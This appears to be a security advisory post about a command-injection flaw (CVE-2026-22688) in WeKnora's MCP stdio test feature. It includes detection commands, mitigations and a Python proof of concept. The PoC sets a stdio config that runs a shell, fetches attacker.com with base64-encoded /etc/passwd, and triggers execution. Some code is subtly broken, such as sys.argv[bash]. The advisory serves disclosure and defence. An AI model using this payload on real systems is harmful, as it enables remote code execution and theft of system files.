Listen to this Post
The vulnerability stems from improper neutralization of special elements used in a command, specifically within the MCP stdio test functionality of WeKnora . Versions prior to 0.2.5 allow an authenticated attacker to inject arbitrary commands into the `stdio_config.command` and `stdio_config.args` parameters . When the MCP server processes these settings, it executes subprocesses using the injected values without proper sanitization . This flaw is rooted in the software’s failure to validate or sanitize externally-influenced input from an upstream component, which is classified under CWE-77 . An attacker with low privileges can exploit this over the network, as the attack complexity is low and no user interaction is required beyond initial authentication . The exploitation results in arbitrary system command execution, which can lead to the creation or modification of files, deployment of additional payloads, and exfiltration of sensitive data such as environment variables and configuration files . Because the execution occurs in a shared backend runtime, the impact can potentially extend beyond tenant boundaries, depending on the deployment . The vulnerability has a critical severity due to its high impact on confidentiality, integrity, and availability, with a CVSS score of 9.9 . It affects all versions from the initial commit up to, but not including, 0.2.5, where the issue was patched .
Platform: WeKnora
Version: <0.2.5
Vulnerability: Command Injection
Severity: Critical
Date: Jan 10 2026
Prediction: Patched v0.2.5
What Undercode Say:
Analytics
Detect vulnerable versions via go.mod
grep -r "github.com/Tencent/WeKnora" . && grep -A 1 "WeKnora" go.mod | grep -v "0.2.5|0.2.6|0.2.7|0.2.8|0.2.9|0.3"
Search for MCP stdio configurations that may contain injection
find /app -name ".json" -o -name ".yaml" -o -name ".toml" | xargs grep -l "stdio_config" 2>/dev/null
Check running processes for WeKnora instances
ps aux | grep -i "weknora|mcp-stdio"
Monitor for unusual subprocess creation (auditd rule)
auditctl -a always,exit -F arch=b64 -S execve -F key=weknora_mcp_monitor
Look for encoded command injection attempts in logs
grep -E "(base64|eval|`|\$(|%[0-9a-f]{2})" /var/log/weknora/access.log
Exploit:
!/usr/bin/env python3
CVE-2026-22688 PoC - Command Injection in MCP stdio test
import requests
import sys
target = sys.argv[bash] if len(sys.argv) > 1 else "http://localhost:8080"
session = requests.Session()
Step 1: Authenticate (assume credentials available)
auth_resp = session.post(f"{target}/api/login", json={"username": "user", "password": "pass"})
Step 2: Craft malicious MCP stdio config with command injection
payload = {
"stdio_config": {
"command": "/bin/sh",
"args": ["-c", "curl http://attacker.com/$(cat /etc/passwd | base64 -w 0) && /usr/local/bin/weknora-server"]
}
}
Step 3: Update MCP settings with injected command
resp = session.post(f"{target}/api/admin/mcp/settings", json=payload)
if resp.status_code == 200:
print("[+] Payload delivered. Trigger by running MCP stdio test.")
Step 4: Trigger the vulnerable functionality
trigger = session.post(f"{target}/api/mcp/test/stdio")
print(f"[+] Trigger response: {trigger.status_code}")
Protection:
- Upgrade to WeKnora version 0.2.5 or later immediately
- Validate and sanitize all `stdio_config.command` and `args` inputs against an allowlist
- Implement strict input validation to neutralize shell metacharacters
- Run WeKnora processes with minimal OS privileges to limit command execution impact
- Apply network segmentation to restrict access to the MCP management interface
- Monitor for unusual subprocess creation patterns originating from WeKnora services
- Use Web Application Firewall rules to block attempts containing command injection patterns
Impact
- Remote Code Execution: Attackers can execute arbitrary OS commands with the application’s privileges
- Data Breach: Exfiltration of environment variables, configuration files, API keys, and tokens
- System Compromise: File creation, modification, and deployment of additional malware payloads
- Cross-Tenant Breach: In shared deployments, impact may extend beyond tenant boundaries
- Service Disruption: Potential to crash services or interfere with LLM document understanding workflows
- Lateral Movement: Compromised instance may serve as entry point to internal networks and services
🎯Let’s Practice Exploiting & Learn Patching For Free:
Sources:
Reported By: github.com
Extra Source Hub:
Undercode
